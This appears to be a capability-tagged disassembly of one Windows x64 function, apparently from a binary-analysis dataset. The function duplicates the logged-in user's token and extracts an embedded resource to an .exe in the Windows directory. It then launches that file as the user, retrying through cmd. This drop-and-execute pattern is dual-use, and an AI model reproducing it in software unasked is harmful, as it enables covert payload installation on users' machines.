Function at 0x1800017f0
Capabilities:
Check if file exists
Create process on windows
Enumerate processes
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xcb0]
sub rsp, 0xdb0
mov rax, qword [0x18001d008]
xor rax, rsp
mov qword [rbp + 0xca0], rax
xorps xmm1, xmm1
xor eax, eax
xor r12d, r12d
mov qword [rbp - 0x68], rax
mov qword [rbp], rax
xorps xmm0, xmm0
lea rax, str.WinSta0Default
mov qword [rsp + 0x70], r12
mov r13d, 1
mov qword [rsp + 0x68], r12
movups xmmword [rbp - 0x60], xmm1
mov qword [rbp - 0x80], r12
movups xmmword [rbp - 0x50], xmm1
mov qword [rbp - 0x50], rax
movups xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x60], 0x68
movups xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0x24], r13d
movups xmmword [rbp - 0x78], xmm0
mov word [rbp - 0x20], r13w
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x10], xmm1
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov ecx, eax
lea rdx, [rsp + 0x70]
call qword [sym.imp.WTSAPI32.dll_WTSQueryUserToken]
test eax, eax
je 0x18000195a
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
test rax, rax
je 0x180001946
lea rdx, [rbp + 0x10]
mov dword [rbp + 0x10], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18000193d
lea rdx, [rbp + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x18000193d
lea rdx, str.explorer.exe
lea rcx, [rbp + 0x3c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x180001909
lea rdx, [rbp + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800018e1
jmp 0x18000193d
mov r8d, dword [rbp + 0x18]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x18000193d
lea r8, [rbp - 0x80]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
test rcx, rcx
jne 0x18000198c
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0xca0]
xor rcx, rsp
call fcn.1800023c0
lea r11, [rsp + 0xdb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov edx, 0xf01ff
mov dword [rsp + 0x20], r13d
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x18000194f
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x78]
xor r8d, r8d
mov qword [rsp + 0x78], r12
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
jne 0x1800019e1
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
jmp 0x180001954
xor edx, edx
lea rcx, [rbp + 0x250]
mov r8d, 0x208
call fcn.1800034f0
xor edx, edx
lea rcx, [rbp + 0x670]
mov r8d, 0x208
call fcn.1800034f0
xor edx, edx
lea rcx, [rbp + 0x880]
mov r8d, 0x208
call fcn.1800034f0
xor edx, edx
lea rcx, [rbp + 0xa90]
mov r8d, 0x208
call fcn.1800034f0
xor edx, edx
lea rcx, [rbp + 0x460]
mov r8d, 0x208
call fcn.1800034f0
mov edx, 0x104
lea rcx, [rbp + 0x880]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x18000195a
mov rcx, qword [0x18001ebb8]
lea rdx, [rbp + 0x250]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x250]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
sub eax, r13d
movsxd r8, eax
js 0x180001ae9
nop
dec eax
cmp word [rbp + r8*2 + 0x250], 0x2e
je 0x180001aa5
sub r8, r13
jns 0x180001a90
jmp 0x180001ae9
movsxd rcx, eax
test eax, eax
js 0x180001ac2
nop dword [rax]
cmp word [rbp + rcx*2 + 0x250], 0x5c
je 0x180001ac2
dec eax
sub rcx, r13
jns 0x180001ab0
inc eax
movsxd r9, eax
cmp r9, r8
jge 0x180001ae9
sub r8, r9
lea rdx, [rbp + 0x250]
lea rdx, [rdx + r9*2]
add r8, r8
lea rcx, [rbp + 0xa90]
call fcn.180003950
movzx r8d, word [rbp + 0x880]
lea r9, [rbp + 0xa90]
lea rdx, str._c:_s.exe
lea rcx, [rbp + 0x460]
call fcn.180002350
lea rcx, [rbp + 0x460]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x180001bf1
mov rbx, qword [0x18001ebb8]
lea r8, [0x18001a6e0]
mov rcx, rbx
lea edx, [rax + 0x66]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x18000195a
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x180001b65
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeResource]
jmp 0x18000195a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rdi
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x460]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180001b57
lea r9, [rsp + 0x60]
mov dword [rsp + 0x60], r12d
mov r8d, r14d
mov qword [rsp + 0x20], r12
mov rdx, r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x60], r14d
mov ebx, r12d
mov rcx, rsi
cmovne ebx, r13d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x180001b57
mov ebx, r12d
lea r9, [rbp + 0x460]
mov edx, 0x104
lea r8, str._s__Install
lea rcx, [rbp + 0x670]
call fcn.1800022e0
mov rcx, qword [rsp + 0x68]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x50], rax
lea r8, [rbp + 0x670]
lea rax, [rbp - 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor edx, edx
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x430
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x180001cea
lea r9, [rbp + 0x460]
mov edx, 0x104
lea r8, str.cmd__c__s__Install
lea rcx, [rbp + 0x670]
call fcn.1800022e0
mov rcx, qword [rsp + 0x68]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x50], rax
lea r8, [rbp + 0x670]
lea rax, [rbp - 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor edx, edx
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x430
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x180001cea
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 5
jl 0x180001bf4
jmp 0x180001d26
mov rcx, qword [rbp - 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x78]
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x60], 0x146a
je 0x180001d38
call fcn.180001d40
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180001d26
mov eax, r13d
jmp 0x18000195c